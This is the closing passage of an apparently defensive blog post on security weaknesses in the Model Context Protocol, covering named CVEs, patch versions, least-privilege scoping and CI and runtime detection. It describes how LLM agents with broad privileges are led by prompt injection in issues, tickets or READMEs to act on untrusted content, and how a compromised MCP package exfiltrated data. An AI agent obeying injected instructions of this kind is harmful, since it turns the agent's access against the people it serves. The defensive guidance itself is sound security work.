  from_port      = 80
  to_port        = 80
}

📚 Lessons Learned: Trust Models in Agentic AI

1. The Reference Implementation Problem

When Anthropic's own mcp-server-git—the example that developers are meant to copy—contained three chained CVEs enabling full RCE, it reveals a systemic failure in how the MCP ecosystem was bootstrapped. Security review of reference implementations is not optional. Every organization forking or adapting an official MCP server should run a full AppSec review, not assume the canonical implementation is safe.

2. High Privilege Plus Untrusted Input Equals Catastrophe

Every one of the real-world incidents followed the same pattern: an LLM agent operating with high-privilege access (database admin, email sending, full filesystem, broad PAT scopes) processed content from an untrusted source (user input, a GitHub issue, a support ticket, a README). The agent treated the untrusted content as instructions rather than data. This is not an AI problem—it is a classic confused deputy problem that developers have been solving in traditional software for decades. The solution is the same: never grant an agent more privilege than the minimum needed for its specific task, and never feed untrusted content directly into the instruction path without sanitization and isolation.

3. The Supply Chain Risk Is Real and Active

The Postmark incident demonstrated that a single compromised MCP package—functionally identical to its legitimate counterpart—can silently exfiltrate everything it touches. The npm registry does not have the security controls needed to prevent this. Until the ecosystem matures, the mitigations are organizational: pin exact versions, audit postinstall scripts, verify package namespaces, and treat any MCP package with write access to communication channels (email, Slack, calendar) with the same scrutiny you would give production IAM credentials.

4. The Protocol Itself Needs a Security Revision

Session IDs in URLs, no mandatory authentication, no message signing, and a trust model that assumes all connected servers are benign—these are not implementation bugs. They are protocol design decisions that will continue producing vulnerabilities until addressed at the spec level. Organizations deploying MCP in production today are accepting protocol-level risk that cannot be fully mitigated by any individual server or client implementation. Follow the MCP specification working group and plan for protocol-level security changes in 2026.

🔮 The Agentic AI Security Problem Is Just Getting Started

MCP is one protocol in a rapidly expanding category of agentic AI tooling. As multi-agent systems proliferate—where one LLM orchestrates other LLMs, each connected to their own set of tools—the attack surface compounds. A prompt injection in one agent can cascade through an entire agent network. Policy-as-code is the only scalable answer: automated enforcement of trust boundaries, least-privilege tool scopes, and continuous runtime monitoring that doesn't rely on manual review of every agent configuration. Build the policy framework now, before the agent ecosystem becomes too complex to govern manually.

🎯 Conclusion

MCP is genuinely useful infrastructure. It is also security-immature infrastructure being adopted at production scale by organizations that have not yet built the tooling to govern it. The CVEs are real, the incidents are real, and the structural weaknesses in the protocol are documented.

The practical path forward:

  1. Patch immediately: mcp-remote to 0.1.16, mcp-server-git to 2025.12.18, mcp-fetch-server to 1.0.3
  2. Scope everything: Filesystem MCP to specific project directories, not home roots. PATs to minimum required scopes. IAM roles for Lambda-based MCP servers to explicit actions only.
  3. Enforce HTTPS everywhere: Never connect to MCP servers over plain HTTP. This is the primary CVE-2025-6514 mitigation.
  4. Treat MCP packages as supply chain risk: Pin exact versions, audit postinstall scripts, verify namespaces, rotate credentials on any suspected compromise.
  5. Deploy runtime detection: Falco rules targeting shell spawning by agent processes, unexpected outbound connections, and sensitive file access provide the critical detection layer that perimeter controls miss.
  6. Build policy gates into CI/CD: The GitHub Actions workflow above takes minutes to add and will catch CVE-2025-6514-pattern configs before they reach production.

🔒 Immediate Action Items

  1. Audit all MCP server configs in your development environment today
  2. Update mcp-remote to >= 0.1.16 (CVE-2025-6514, CVSS 9.6)
  3. Update mcp-server-git to >= 2025.12.18 (CVE-2025-68143/68144/68145)
  4. Convert all MCP server URLs from HTTP to HTTPS
  5. Scope Filesystem MCP paths to specific project directories only
  6. Add the MCP security gate to your CI/CD pipeline
  7. Deploy Falco MCP detection rules to all Kubernetes clusters running LLM agents